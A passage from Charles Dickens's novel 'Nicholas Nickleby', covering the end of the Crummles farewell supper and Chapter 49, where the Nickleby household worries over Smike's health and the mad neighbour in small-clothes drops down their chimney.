unmeaning farrago of +garbled extracts from his work, to which your name as author, with +the honourable distinction annexed, of having perpetrated a hundred +other outrages of the same description. Now, show me the +distinction between such pilfering as this, and picking a man's +pocket in the street: unless, indeed, it be, that the legislature +has a regard for pocket-handkerchiefs, and leaves men's brains, +except when they are knocked out by violence, to take care of +themselves.' + +'Men must live, sir,' said the literary gentleman, shrugging his +shoulders. + +'That would be an equally fair plea in both cases,' replied +Nicholas; 'but if you put it upon that ground, I have nothing more +to say, than, that if I were a writer of books, and you a thirsty +dramatist, I would rather pay your tavern score for six months, +large as it might be, than have a niche in the Temple of Fame with +you for the humblest corner of my pedestal, through six hundred +generations.' + +The conversation threatened to take a somewhat angry tone when it +had arrived thus far, but Mrs Crummles opportunely interposed to +prevent its leading to any violent outbreak, by making some +inquiries of the literary gentleman relative to the plots of the six +new pieces which he had written by contract to introduce the African +Knife-swallower in his various unrivalled performances. This +speedily engaged him in an animated conversation with that lady, in +the interest of which, all recollection of his recent discussion +with Nicholas very quickly evaporated. + +The board being now clear of the more substantial articles of food, +and punch, wine, and spirits being placed upon it and handed about, +the guests, who had been previously conversing in little groups of +three or four, gradually fell off into a dead silence, while the +majority of those present glanced from time to time at Mr Snittle +Timberry, and the bolder spirits did not even hesitate to strike the +table with their knuckles, and plainly intimate their expectations, +by uttering such encouragements as 'Now, Tim,' 'Wake up, Mr +Chairman,' 'All charged, sir, and waiting for a toast,' and so +forth. + +To these remonstrances Mr Timberry deigned no other rejoinder than +striking his chest and gasping for breath, and giving many other +indications of being still the victim of indisposition--for a man +must not make himself too cheap either on the stage or off--while Mr +Crummles, who knew full well that he would be the subject of the +forthcoming toast, sat gracefully in his chair with his arm thrown +carelessly over the back, and now and then lifted his glass to his +mouth and drank a little punch, with the same air with which he was +accustomed to take long draughts of nothing, out of the pasteboard +goblets in banquet scenes. + +At length Mr Snittle Timberry rose in the most approved attitude, +with one hand in the breast of his waistcoat and the other on the +nearest snuff-box, and having been received with great enthusiasm, +proposed, with abundance of quotations, his friend Mr Vincent +Crummles: ending a pretty long speech by extending his right hand on +one side and his left on the other, and severally calling upon Mr +and Mrs Crummles to grasp the same. This done, Mr Vincent Crummles +returned thanks, and that done, the African Swallower proposed Mrs +Vincent Crummles, in affecting terms. Then were heard loud moans +and sobs from Mrs Crummles and the ladies, despite of which that +heroic woman insisted upon returning thanks herself, which she did, +in a manner and in a speech which has never been surpassed and +seldom equalled. It then became the duty of Mr Snittle Timberry to +give the young Crummleses, which he did; after which Mr Vincent +Crummles, as their father, addressed the company in a supplementary +speech, enlarging on their virtues, amiabilities, and excellences, +and wishing that they were the sons and daughter of every lady and +gentleman present. These solemnities having been succeeded by a +decent interval, enlivened by musical and other entertainments, Mr +Crummles proposed that ornament of the profession, the African +Swallower, his very dear friend, if he would allow him to call him +so; which liberty (there being no particular reason why he should +not allow it) the African Swallower graciously permitted. The +literary gentleman was then about to be drunk, but it being +discovered that he had been drunk for some time in another +acceptation of the term, and was then asleep on the stairs, the +intention was abandoned, and the honour transferred to the ladies. +Finally, after a very long sitting, Mr Snittle Timberry vacated the +chair, and the company with many adieux and embraces dispersed. + +Nicholas waited to the last to give his little presents. When he +had said goodbye all round and came to Mr Crummles, he could not but +mark the difference between their present separation and their +parting at Portsmouth. Not a jot of his theatrical manner remained; +he put out his hand with an air which, if he could have summoned it +at will, would have made him the best actor of his day in homely +parts, and when Nicholas shook it with the warmth he honestly felt, +appeared thoroughly melted. + +'We were a very happy little company, Johnson,' said poor Crummles. +'You and I never had a word. I shall be very glad tomorrow morning +to think that I saw you again, but now I almost wish you hadn't +come.' + +Nicholas was about to return a cheerful reply, when he was greatly +disconcerted by the sudden apparition of Mrs Grudden, who it seemed +had declined to attend the supper in order that she might rise +earlier in the morning, and who now burst out of an adjoining +bedroom, habited in very extraordinary white robes; and throwing her +arms about his neck, hugged him with great affection. + +'What! Are you going too?' said Nicholas, submitting with as good a +grace as if she had been the finest young creature in the world. + +'Going?' returned Mrs Grudden. 'Lord ha' mercy, what do you think +they'd do without me?' + +Nicholas submitted to another hug with even a better grace than +before, if that were possible, and waving his hat as cheerfully as +he could, took farewell of the Vincent Crummleses. + + + +CHAPTER 49 + +Chronicles the further Proceedings of the Nickleby Family, and the +Sequel of the Adventure of the Gentleman in the Small-clothes + + +While Nicholas, absorbed in the one engrossing subject of interest +which had recently opened upon him, occupied his leisure hours with +thoughts of Madeline Bray, and in execution of the commissions which +the anxiety of brother Charles in her behalf imposed upon him, saw +her again and again, and each time with greater danger to his peace +of mind and a more weakening effect upon the lofty resolutions he +had formed, Mrs Nickleby and Kate continued to live in peace and +quiet, agitated by no other cares than those which were connected +with certain harassing proceedings taken by Mr Snawley for the +recovery of his son, and their anxiety for Smike himself, whose +health, long upon the wane, began to be so much affected by +apprehension and uncertainty as sometimes to occasion both them and +Nicholas considerable uneasiness, and even alarm. + +It was no complaint or murmur on the part of the poor fellow himself +that thus disturbed them. Ever eager to be employed in such slight +services as he could render, and always anxious to repay his +benefactors with cheerful and happy looks, less friendly eyes might +have seen in him no cause for any misgiving. But there were times, +and often too, when the sunken eye was too bright, the hollow cheek +too flushed, the breath too thick and heavy in its course, the frame +too feeble and exhausted, to escape their regard and notice. + +There is a dread disease which so prepares its victim, as it were, +for death; which so refines it of its grosser aspect, and throws +around familiar looks unearthly indications of the coming change; a +dread disease, in which the struggle between soul and body is so +gradual, quiet, and solemn, and the result so sure, that day by day, +and grain by grain, the mortal part wastes and withers away, so that +the spirit grows light and sanguine with its lightening load, and, +feeling immortality at hand, deems it but a new term of mortal life; +a disease in which death and life are so strangely blended, that +death takes the glow and hue of life, and life the gaunt and grisly +form of death; a disease which medicine never cured, wealth never +warded off, or poverty could boast exemption from; which sometimes +moves in giant strides, and sometimes at a tardy sluggish pace, but, +slow or quick, is ever sure and certain. + +It was with some faint reference in his own mind to this disorder, +though he would by no means admit it, even to himself, that Nicholas +had already carried his faithful companion to a physician of great +repute. There was no cause for immediate alarm, he said. There +were no present symptoms which could be deemed conclusive. The +constitution had been greatly tried and injured in childhood, but +still it MIGHT not be--and that was all. + +But he seemed to grow no worse, and, as it was not difficult to find +a reason for these symptoms of illness in the shock and agitation he +had recently undergone, Nicholas comforted himself with the hope +that his poor friend would soon recover. This hope his mother and +sister shared with him; and as the object of their joint solicitude +seemed to have no uneasiness or despondency for himself, but each +day answered with a quiet smile that he felt better than he had upon +the day before, their fears abated, and the general happiness was by +degrees restored. + +Many and many a time in after years did Nicholas look back to this +period of his life, and tread again the humble quiet homely scenes +that rose up as of old before him. Many and many a time, in the +twilight of a summer evening, or beside the flickering winter's +fire--but not so often or so sadly then--would his thoughts wander +back to these old days, and dwell with a pleasant sorrow upon every +slight remembrance which they brought crowding home. The little +room in which they had so often sat long after it was dark, figuring +such happy futures; Kate's cheerful voice and merry laugh; how, +if she were from home, they used to sit and watch for her return +scarcely breaking silence but to say how dull it seemed without her; +the glee with which poor Smike would start from the darkened corner +where he used to sit, and hurry to admit her, and the tears they +often saw upon his face, half wondering to see them too, and he so +pleased and happy; every little incident, and even slight words and +looks of those old days little heeded then, but well remembered when +busy cares and trials were quite forgotten, came fresh and thick +before him many and many a time, and, rustling above the dusty +growth of years, came back green boughs of yesterday. + +But there were other persons associated with these recollections, +and many changes came about before they had being. A necessary +reflection for the purposes of these adventures, which at once +subside into their accustomed train, and shunning all flighty +anticipations or wayward wanderings, pursue their steady and +decorous course. + +If the brothers Cheeryble, as they found Nicholas worthy of trust +and confidence, bestowed upon him every day some new and substantial +mark of kindness, they were not less mindful of those who depended +on him. Various little presents to Mrs Nickleby, always of the very +things they most required, tended in no slight degree to the +improvement and embellishment of the cottage. Kate's little store +of trinkets became quite dazzling; and for company! If brother +Charles and brother Ned failed to look in for at least a few minutes +every Sunday, or one evening in the week, there was Mr Tim +Linkinwater (who had never made half-a-dozen other acquaintances in +all his life, and who took such delight in his new friends as no +words can express) constantly coming and going in his evening walks, +and stopping to rest; while Mr Frank Cheeryble happened, by some +strange conjunction of circumstances, to be passing the door on some +business or other at least three nights in the week. + +'He is the most attentive young man I ever saw, Kate,' said Mrs +Nickleby to her daughter one evening, when this last-named gentleman +had been the subject of the worthy lady's eulogium for some time, +and Kate had sat perfectly silent. + +'Attentive, mama!' rejoined Kate. + +'Bless my heart, Kate!' cried Mrs Nickleby, with her wonted +suddenness, 'what a colour you have got; why, you're quite flushed!' + +'Oh, mama! what strange things you fancy!' + +'It wasn't fancy, Kate, my dear, I'm certain of that,' returned her +mother. 'However, it's gone now at any rate, so it don't much +matter whether it was or not. What was it we were talking about? +Oh! Mr Frank. I never saw such attention in MY life, never.' + +'Surely you are not serious,' returned Kate, colouring again; and +this time beyond all dispute. + +'Not serious!' returned Mrs Nickleby; 'why shouldn't I be serious? +I'm sure I never was more serious. I will say that his politeness +and attention to me is one of the most becoming, gratifying, +pleasant things I have seen for a very long time. You don't often +meet with such behaviour in young men, and it strikes one more when +one does meet with it.' + +'Oh! attention to YOU, mama,' rejoined Kate quickly--'oh yes.' + +'Dear me, Kate,' retorted Mrs Nickleby, 'what an extraordinary girl +you are! Was it likely I should be talking of his attention to +anybody else? I declare I'm quite sorry to think he should be in +love with a German lady, that I am.' + +'He said very positively that it was no such thing, mama,' returned +Kate. 'Don't you remember his saying so that very first night he +came here? Besides,' she added, in a more gentle tone, 'why should +WE be sorry if it is the case? What is it to us, mama?' + +'Nothing to US, Kate, perhaps,' said Mrs Nickleby, emphatically; +'but something to ME, I confess. I like English people to be +thorough English people, and not half English and half I don't know +what. I shall tell him point-blank next time he comes, that I wish +he would marry one of his own country-women; and see what he says to +that.' + +'Pray don't think of such a thing, mama,' returned Kate, hastily; +'not for the world. Consider. How very--' + +'Well, my dear, how very what?' said Mrs Nickleby, opening her eyes +in great astonishment. + +Before Kate had returned any reply, a queer little double knock +announced that Miss La Creevy had called to see them; and when Miss +La Creevy presented herself, Mrs Nickleby, though strongly disposed +to be argumentative on the previous question, forgot all about it in +a gush of supposes about the coach she had come by; supposing that +the man who drove must have been either the man in the shirt-sleeves +or the man with the black eye; that whoever he was, he hadn't found +that parasol she left inside last week; that no doubt they had +stopped a long while at the Halfway House, coming down; or that +perhaps being full, they had come straight on; and, lastly, that +they, surely, must have passed Nicholas on the road. + +'I saw nothing of him,' answered Miss La Creevy; 'but I saw that +dear old soul Mr Linkinwater.' + +'Taking his evening walk, and coming on to rest here, before he +turns back to the city, I'll be bound!' said Mrs Nickleby. + +'I should think he was,' returned Miss La Creevy; 'especially as +young Mr Cheeryble was with him.' + +'Surely that is no reason why Mr Linkinwater should be coming here,' +said Kate. + +'Why I think it is, my dear,' said Miss La Creevy. 'For a young +man, Mr Frank is not a very great walker; and I observe that he +generally falls tired, and requires a good long rest, when he has +come as far as this. But where is my friend?' said the little +woman, looking about, after having glanced slyly at Kate. 'He has +not been run away with again, has he?' + +'Ah! where is Mr Smike?' said Mrs Nickleby; 'he was here this +instant.' + +Upon further inquiry, it turned out, to the good lady's unbounded +astonishment, that Smike had, that moment, gone upstairs to bed. + +'Well now,' said Mrs Nickleby, 'he is the strangest creature! Last +Tuesday--was it Tuesday? Yes, to be sure it was; you recollect, +Kate, my dear, the very last time young Mr Cheeryble was here--last +Tuesday night he went off in just the same strange way, at the very +moment the knock came to the door. It cannot be that he don't like +company, because he is always fond of people who are fond of +Nicholas, and I am sure young Mr Cheeryble is. And the strangest +thing is, that he does not go to bed; therefore it cannot be because +he is tired. I know he doesn't go to bed, because my room is the +next one, and when I went upstairs last Tuesday, hours after him, I +found that he had not even taken his shoes off; and he had no +candle, so he must have sat moping in the dark all the time. Now, +upon my word,' said Mrs Nickleby, 'when I come to think of it, +that's very extraordinary!' + +As the hearers did not echo this sentiment, but remained profoundly +silent, either as not knowing what to say, or as being unwilling to +interrupt, Mrs Nickleby pursued the thread of her discourse after +her own fashion. + +'I hope,' said that lady, 'that this unaccountable conduct may not +be the beginning of his taking to his bed and living there all his +life, like the Thirsty Woman of Tutbury, or the Cock-lane Ghost, or +some of those extraordinary creatures. One of them had some +connection with our family. I forget, without looking back to some +old letters I have upstairs, whether it was my great-grandfather who +went to school with the Cock-lane Ghost, or the Thirsty Woman of +Tutbury who went to school with my grandmother. Miss La Creevy, you +know, of course. Which was it that didn't mind what the clergyman +said? The Cock-lane Ghost or the Thirsty Woman of Tutbury?' + +'The Cock-lane Ghost, I believe.' + +'Then I have no doubt,' said Mrs Nickleby, 'that it was with him my +great-grandfather went to school; for I know the master of his +school was a dissenter, and that would, in a great measure, account +for the Cock-lane Ghost's behaving in such an improper manner to the +clergyman when he grew up. Ah! Train up a Ghost--child, I mean--' + +Any further reflections on this fruitful theme were abruptly cut +short by the arrival of Tim Linkinwater and Mr Frank Cheeryble; in +the hurry of receiving whom, Mrs Nickleby speedily lost sight of +everything else. + +'I am so sorry Nicholas is not at home,' said Mrs Nickleby. 'Kate, +my dear, you must be both Nicholas and yourself.' + +'Miss Nickleby need be but herself,' said Frank. 'I--if I may +venture to say so--oppose all change in her.' + +'Then at all events she shall press you to stay,' returned Mrs +Nickleby. 'Mr Linkinwater says ten minutes, but I cannot let you go +so soon; Nicholas would be very much vexed, I am sure. Kate, my +dear!' + +In obedience to a great number of nods, and winks, and frowns of +extra significance, Kate added her entreaties that the visitors +would remain; but it was observable that she addressed them +exclusively to Tim Linkinwater; and there was, besides, a certain +embarrassment in her manner, which, although it was as far from +impairing its graceful character as the tinge it communicated to her +cheek was from diminishing her beauty, was obvious at a glance even +to Mrs Nickleby. Not being of a very speculative character, +however, save under circumstances when her speculations could be put +into words and uttered aloud, that discreet matron attributed the +emotion to the circumstance of her daughter's not happening to have +her best frock on: 'though I never saw her look better, certainly,' +she reflected at the same time. Having settled the question in this +way, and being most complacently satisfied that in this, and in all +other instances, her conjecture could not fail to be the right one, +Mrs Nickleby dismissed it from her thoughts, and inwardly +congratulated herself on being so shrewd and knowing. + +Nicholas did not come home nor did Smike reappear; but neither +circumstance, to say the truth, had any great effect upon the little +party, who were all in the best humour possible. Indeed, there +sprung up quite a flirtation between Miss La Creevy and Tim +Linkinwater, who said a thousand jocose and facetious things, and +became, by degrees, quite gallant, not to say tender. Little Miss +La Creevy, on her part, was in high spirits, and rallied Tim on +having remained a bachelor all his life with so much success, that +Tim was actually induced to declare, that if he could get anybody to +have him, he didn't know but what he might change his condition even +yet. Miss La Creevy earnestly recommended a lady she knew, who +would exactly suit Mr Linkinwater, and had a very comfortable +property of her own; but this latter qualification had very little +effect upon Tim, who manfully protested that fortune would be no +object with him, but that true worth and cheerfulness of disposition +were what a man should look for in a wife, and that if he had these, +he could find money enough for the moderate wants of both. This +avowal was considered so honourable to Tim, that neither Mrs +Nickleby nor Miss La Creevy could sufficiently extol it; and +stimulated by their praises, Tim launched out into several other +declarations also manifesting the disinterestedness of his heart, +and a great devotion to the fair sex: which were received with no +less approbation. This was done and said with a comical mixture of +jest and earnest, and, leading to a great amount of laughter, made +them very merry indeed. + +Kate was commonly the life and soul of the conversation at home; but +she was more silent than usual upon this occasion (perhaps because +Tim and Miss La Creevy engrossed so much of it), and, keeping aloof +from the talkers, sat at the window watching the shadows as the +evening closed in, and enjoying the quiet beauty of the night, which +seemed to have scarcely less attractions to Frank, who first +lingered near, and then sat down beside, her. No doubt, there are a +great many things to be said appropriate to a summer evening, and no +doubt they are best said in a low voice, as being most suitable to +the peace and serenity of the hour; long pauses, too, at times, and +then an earnest word or so, and then another interval of silence +which, somehow, does not seem like silence either, and perhaps now +and then a hasty turning away of the head, or drooping of the eyes +towards the ground, all these minor circumstances, with a +disinclination to have candles introduced and a tendency to confuse +hours with minutes, are doubtless mere influences of the time, as +many lovely lips can clearly testify. Neither is there the +slightest reason why Mrs Nickleby should have expressed surprise +when, candles being at length brought in, Kate's bright eyes were +unable to bear the light which obliged her to avert her face, and +even to leave the room for some short time; because, when one has +sat in the dark so long, candles ARE dazzling, and nothing can be +more strictly natural than that such results should be produced, as +all well-informed young people know. For that matter, old people +know it too, or did know it once, but they forget these things +sometimes, and more's the pity. + +The good lady's surprise, however, did not end here. It was greatly +increased when it was discovered that Kate had not the least +appetite for supper: a discovery so alarming that there is no +knowing in what unaccountable efforts of oratory Mrs Nickleby's +apprehensions might have been vented, if the general attention had +not been attracted, at the moment, by a very strange and uncommon +noise, proceeding, as the pale and trembling servant girl affirmed, +and as everybody's sense of hearing seemed to affirm also, 'right +down' the chimney of the adjoining room. + +It being quite plain to the comprehension of all present that, +however extraordinary and improbable it might appear, the noise did +nevertheless proceed from the chimney in question; and the noise +(which was a strange compound of various shuffling, sliding, +rumbling, and struggling sounds, all muffled by the chimney) still +continuing, Frank Cheeryble caught up a candle, and Tim Linkinwater +the tongs, and they would have very quickly ascertained the cause of +this disturbance if Mrs Nickleby had not been taken very faint, and +declined being left behind, on any account. This produced a short +remonstrance, which terminated in their all proceeding to the +troubled chamber in a body, excepting only Miss La Creevy, who, as +the servant girl volunteered a confession of having been subject to +fits in her infancy, remained with her to give the alarm and apply +restoratives, in case of extremity. + +Advancing to the door of the mysterious apartment, they were not a +little surprised to hear a human voice, chanting with a highly +elaborated expression of melancholy, and in tones of suffocation +which a human voice might have produced from under five or six +feather-beds of the best quality, the once popular air of 'Has she +then failed in her truth, the beautiful maid I adore?' Nor, on +bursting into the room without demanding a parley, was their +astonishment lessened by the discovery that these romantic sounds +certainly proceeded from the throat of some man up the chimney, of +whom nothing was visible but a pair of legs, which were dangling +above the grate; apparently feeling, with extreme anxiety, for the +top bar whereon to effect a landing. + +A sight so unusual and unbusiness-like as this, completely paralysed +Tim Linkinwater, who, after one or two gentle pinches at the +stranger's ankles, which were productive of no effect, stood +clapping the tongs together, as if he were sharpening them for +another assault, and did nothing else. + +'This must be some drunken fellow,' said Frank. 'No thief would +announce his presence thus.' + +As he said this, with great indignation, he raised the candle to +obtain a better view of the legs, and was darting forward to pull +them down with very little ceremony, when Mrs Nickleby, clasping her +hands, uttered a sharp sound, something between a scream and an +exclamation, and demanded to know whether the mysterious limbs were +not clad in small-clothes and grey worsted stockings, or whether her +eyes had deceived her. + +'Yes,' cried Frank, looking a little closer. 'Small-clothes +certainly, and--and--rough grey stockings, too. Do you know him, +ma'am?' + +'Kate, my dear,' said Mrs Nickleby, deliberately sitting herself +down in a chair with that sort of desperate resignation which seemed +to imply that now matters had come to a crisis, and all disguise was +useless, 'you will have the goodness, my love, to explain precisely +how this matter stands. I have given him no encouragement--none +whatever--not the least in the world. You know that, my dear, +perfectly well. He was very respectful, exceedingly respectful, +when he declared, as you were a witness to; still at the same time, +if I am to be persecuted in this way, if vegetable what's-his-names +and all kinds of garden-stuff are to strew my path out of doors, and +gentlemen are to come choking up our chimneys at home, I really +don't know--upon my word I do NOT know--what is to become of me. +It's a very hard case--harder than anything I was ever exposed to, +before I married your poor dear papa, though I suffered a good deal +of annoyance then--but that, of course, I expected, and made up my +mind for. When I was not nearly so old as you, my dear, there was a +young gentleman who sat next us at church, who used, almost every +Sunday, to cut my name in large letters in the front of his pew +while the sermon was going on. It was gratifying, of course, +naturally so, but still it was an annoyance, because the pew was in +a very conspicuous place, and he was several times publicly taken +out by the beadle for doing it. But that was nothing to this. This +is a great deal worse, and a great deal more embarrassing. I would +rather, Kate, my dear,' said Mrs Nickleby, with great solemnity, and +an effusion of tears: 'I would rather, I declare, have been a pig- +faced lady, than be exposed to such a life as this!' + +Frank Cheeryble and Tim Linkinwater looked, in irrepressible +astonishment, first at each other and then at Kate, who felt that +some explanation was necessary, but who, between her terror at the +apparition of the legs, her fear lest their owner should be +smothered, and her anxiety to give the least ridiculous solution of +the mystery that it was capable of bearing, was quite unable to +utter a single word. + +'He gives me great pain,' continued Mrs Nickleby, drying her eyes, +'great pain; but don't hurt a hair of his head, I beg. On no +account hurt a hair of his head.' + +It would not, under existing circumstances, have been quite so easy +to hurt a hair of the gentleman's head as Mrs Nickleby seemed to +imagine, inasmuch as that part of his person was some feet up the +chimney, which was by no means a wide one. But, as all this time he +had never left off singing about the bankruptcy of the beautiful +maid in respect of truth, and now began not only to croak very +feebly, but to kick with great violence as if respiration became a +task of difficulty, Frank Cheeryble, without further hesitation, +pulled at the shorts and worsteds with such heartiness as to bring +him floundering into the room with greater precipitation than he had +quite calculated upon. + +'Oh! yes, yes,' said Kate, directly the whole figure of this +singular visitor appeared in this abrupt manner. 'I know who it is. +Pray don't be rough with him. Is he hurt? I hope not. Oh, pray see +if he is hurt.' + +'He is not, I assure you,' replied Frank, handling the object of his +surprise, after this appeal, with sudden tenderness and respect. +'He is not hurt in the least.' + +'Don't let him come any nearer,' said Kate, retiring as far as she +could. + +'Oh, no, he shall not,' rejoined Frank. 'You see I have him secure +here. But may I ask you what this means, and whether you expected, +this old gentleman?' + +'Oh, no,' said Kate, 'of course not; but he--mama does not think +so, I believe--but he is a mad gentleman who has escaped from the +next house, and must have found an opportunity of secreting himself +here.' + +'Kate,' interposed Mrs Nickleby with severe dignity, 'I am surprised +at you.' + +'Dear mama,' Kate gently remonstrated. + +'I am surprised at you,' repeated Mrs Nickleby; 'upon my word, Kate, +I am quite astonished that you should join the persecutors of this +unfortunate gentleman, when you know very well that they have the +basest designs upon his property, and that that is the whole secret +of it. It would be much kinder of you, Kate, to ask Mr Linkinwater +or Mr Cheeryble to interfere in his behalf, and see him righted. +You ought not to allow your feelings to influence you; it's not +right, very far from it. What should my feelings be, do you +suppose? If anybody ought to be indignant, who is it? I, of +course, and very properly so. Still, at the same time, I wouldn't +commit such an injustice for the world. No,' continued Mrs +Nickleby, drawing herself up, and looking another way with a kind of +bashful stateliness; 'this gentleman will understand me when I tell +him that I repeat the answer I gave him the other day; that I +always will repeat it, though I do believe him to be sincere when I +find him placing himself in such dreadful situations on my account; +and that I request him to have the goodness to go away directly, or +it will be impossible to keep his behaviour a secret from my son +Nicholas. I am obliged to him, very much obliged to him, but I +cannot listen to his addresses for a moment. It's quite +impossible.' + +While this address was in course of delivery, the old gentleman, +with his nose and cheeks embellished with large patches of soot, sat +upon the ground with his arms folded, eyeing the spectators in +profound silence, and with a very majestic demeanour. He did not +appear to take the smallest notice of what Mrs Nickleby said, but +when she ceased to speak he honoured her with a long stare, and +inquired if she had quite finished. + +'I have nothing more to say,' replied that lady modestly. 'I really +cannot say anything more.' + +'Very good,' said the old gentleman, raising his voice, 'then bring +in the bottled lightning, a clean tumbler, and a corkscrew.' + +Nobody executing this order, the old gentleman, after a short pause, +raised his voice again and demanded a thunder sandwich. This +article not being forthcoming either, he requested to be served with +a fricassee of boot-tops and goldfish sauce, and then laughing +heartily, gratified his hearers with a very long, very loud, and +most melodious bellow. + +But still Mrs Nickleby, in reply to the significant looks of all +about her, shook her head as though to assure them that she saw +nothing whatever in all this, unless, indeed, it were a slight +degree of eccentricity. She might have remained impressed with +these opinions down to the latest moment of her life, but for a +slight train of circumstances, which, trivial as they were, altered +the whole complexion of the case. + +It happened that Miss La Creevy, finding her patient in no very +threatening condition, and being strongly impelled by curiosity to +see what was going forward, bustled into the room while the old +gentleman was in the very act of bellowing. It happened, too, that +the instant the old gentleman saw her, he stopped short, skipped +suddenly on his feet, and fell to kissing his hand violently: a +change of demeanour which almost terrified the little portrait +painter out of her senses, and caused her to retreat behind Tim +Linkinwater with the utmost expedition. + +'Aha!' cried the old gentleman, folding his hands, and squeezing +them with great force against each other. 'I see her now; I see her +now! My love, my life, my bride, my peerless beauty. She is come +at last--at last--and all is gas and gaiters!' + +Mrs Nickleby looked rather disconcerted for a moment, but +immediately recovering, nodded to Miss La Creevy and the other +spectators several times, and frowned, and smiled gravely, giving +them to understand that she saw where the mistake was, and would set +it all to rights in a minute or two. + +'She is come!' said the old gentleman, laying his hand upon his +heart. 'Cormoran and Blunderbore! She is come! All the wealth I +have is hers if she will take me for her slave. Where are grace, +beauty, and blandishments, like those? In the Empress of +Madagascar? No. In the Queen of Diamonds? No. In Mrs Rowland, +who every morning bathes in Kalydor for nothing? No. Melt all +these down into one, with the three Graces, the nine Muses, and +fourteen biscuit-bakers' daughters from Oxford Street, and make a +woman half as lovely. Pho! I defy you.' + +After uttering this rhapsody, the old gentleman snapped his fingers +twenty or thirty times, and then subsided into an ecstatic +contemplation of Miss La Creevy's charms. This affording Mrs +Nickleby a favourable opportunity of explanation, she went about it +straight. + +'I am sure,' said the worthy lady, with a prefatory cough, 'that +it's a great relief, under such trying circumstances as these, to +have anybody else mistaken for me--a very great relief; and it's a +circumstance that never occurred before, although I have several +times been mistaken for my daughter Kate. I have no doubt the +people were very foolish, and perhaps ought to have known better, +but still they did take me for her, and of course that was no fault +of mine, and it would be very hard indeed if I was to be made +responsible for it. However, in this instance, of course, I must +feel that I should do exceedingly wrong if I suffered anybody-- +especially anybody that I am under great obligations to--to be made +uncomfortable on my account. And therefore I think it my duty to +tell that gentleman that he is mistaken, that I am the lady who he +was told by some impertinent person was niece to the Council of +Paving-stones, and that I do beg and entreat of him to go quietly +away, if it's only for,' here Mrs Nickleby simpered and hesitated, +'for MY sake.' + +It might have been expected that the old gentleman would have been +penetrated to the heart by the delicacy and condescension of this +appeal, and that he would at least have returned a courteous and +suitable reply. What, then, was the shock which Mrs Nickleby +received, when, accosting HER in the most unmistakable manner, he +replied in a loud and sonourous voice: 'Avaunt! Cat!' + +'Sir!' cried Mrs Nickleby, in a faint tone. + +'Cat!' repeated the old gentleman. 'Puss, Kit, Tit, Grimalkin, +Tabby, Brindle! Whoosh!' with which last sound, uttered in a hissing +manner between his teeth, the old gentleman swung his arms violently +round and round, and at the same time alternately advanced on Mrs +Nickleby, and retreated from her, in that species of savage dance +with which boys on market-days may be seen to frighten pigs, sheep, +and other animals, when they give out obstinate indications of +turning down a wrong street. + +Mrs Nickleby wasted no words, but uttered an exclamation of horror +and surprise, and immediately fainted away. + +'I'll attend to mama,' said Kate, hastily; 'I am not at all +frightened. But pray take him away: pray take him away!' + +Frank was not at all confident of his power of complying with this +request, until he bethought himself of the stratagem of sending Miss +La Creevy on a few paces in advance, and urging the old gentleman to +follow her. It succeeded to a miracle; and he went away in a +rapture of admiration, strongly guarded by Tim Linkinwater on one +side, and Frank himself on the other. + +'Kate,' murmured Mrs Nickleby, reviving when the coast was clear, +'is he gone?' + +She was assured that he was. + +'I shall never forgive myself, Kate,' said Mrs Nickleby. 'Never! +That gentleman has lost his senses, and I am the unhappy cause.' + +'YOU the cause!' said Kate, greatly astonished. + +'I, my love,' replied Mrs Nickleby, with a desperate calmness. 'You +saw what he was the other day; you see what he is now. I told your +brother, weeks and weeks ago, Kate, that I hoped a disappointment +might not be too much for him. You see what a wreck he is. Making +allowance for his being a little flighty, you know how rationally, +and sensibly, and honourably he talked, when we saw him in the +garden. You have heard the dreadful nonsense he has been guilty of +this night, and the manner in which he has gone on with that poor +unfortunate little old maid. Can anybody doubt how all this has +been brought about?' + +'I should scarcely think they could,' said Kate mildly. + +'I should scarcely think so, either,' rejoined her mother. 'Well! +if I am the unfortunate cause of this, I have the satisfaction of +knowing that I am not to blame. I told Nicholas, I said to him, +"Nicholas, my dear, we should be very careful how we proceed." He +would scarcely hear me. If the matter had only been properly taken +up at first, as I wished it to be! But you are both of you so like +your poor papa. However, I have MY consolation, and that should be +enough for me!' + +Washing her hands, thus, of all responsibility under this head, +past, present, or to come, Mrs Nickleby kindly added that she hoped +her children might never have greater cause to reproach themselves +than she had, and prepared herself to receive the escort, who soon +returned with the intelligence that the old gentleman was safely +housed, and that they found his custodians, who had been making +merry with some friends, wholly ignorant of his absence. + +Quiet being again restored, a delicious half-hour--so Frank called +it, in the course of subsequent conversation with Tim Linkinwater as +they were walking home--was spent in conversation, and Tim's watch +at length apprising him that it was high time to depart, the ladies +were left alone, though not without many offers on the part of +Frank to remain until Nicholas arrived, no matter what hour of +the night it might be, if, after the late neighbourly irruption, +they entertained the least fear of being left to themselves. +As their freedom from all further apprehension, however, left no +pretext for his insisting on mounting guard, he was obliged to +abandon the citadel, and to retire with the trusty Tim. + +Nearly three hours of silence passed away. Kate blushed to find, +when Nicholas returned, how long she had been sitting alone, +occupied with her own thoughts. + +'I really thought it had not been half an hour,' she said. + +'They must have been pleasant thoughts, Kate,' rejoined Nicholas +gaily, 'to make time pass away like that. What were they now?' + +Kate was confused; she toyed with some trifle on the table, looked +up and smiled, looked down and dropped a tear. + +'Why, Kate,' said Nicholas, drawing his sister towards him and +kissing her, 'let me see your face. No? Ah! that was but a +glimpse; that's scarcely fair. A longer look than that, Kate. +Come--and I'll read your thoughts for you.' + +There was something in this proposition, albeit it was said without +the slightest consciousness or application, which so alarmed his +sister, that Nicholas laughingly changed the subject to domestic +matters, and thus gathered, by degrees, as they left the room and +went upstairs together, how lonely Smike had been all night--and by +very slow degrees, too; for on this subject also, Kate seemed to +speak with some reluctance. + +'Poor fellow,' said Nicholas, tapping gently at his door, 'what can +be the cause of all this?' + +Kate was hanging on her brother's arm. The door being quickly +opened, she had not time to disengage herself, before Smike, very +pale and haggard, and completely dressed, confronted them. + +'And have you not been to bed?' said Nicholas. + +'N--n--no,' was the reply. + +Nicholas gently detained his sister, who made an effort to retire; +and asked, 'Why not?' + +'I could not sleep,' said Smike, grasping the hand which his friend +extended to him. + +'You are not well?' rejoined Nicholas. + +'I am better, indeed. A great deal better,' said Smike quickly. + +'Then why do you give way to these fits of melancholy?' inquired +Nicholas, in his kindest manner; 'or why not tell us the cause? You +grow a different creature, Smike.' + +'I do; I know I do,' he replied. 'I will tell you the reason one +day, but not now. I hate myself for this; you are all so good and +kind. But I cannot help it. My heart is very full; you do not +know how full it is.' + +He wrung Nicholas's hand before he released it; and glancing, for a +moment, at the brother and sister as they stood together, as if +there were something in their strong affection which touched him +very deeply, withdrew into his chamber, and was soon the only +watcher under that quiet roof. + + + +CHAPTER 50 + +Involves a 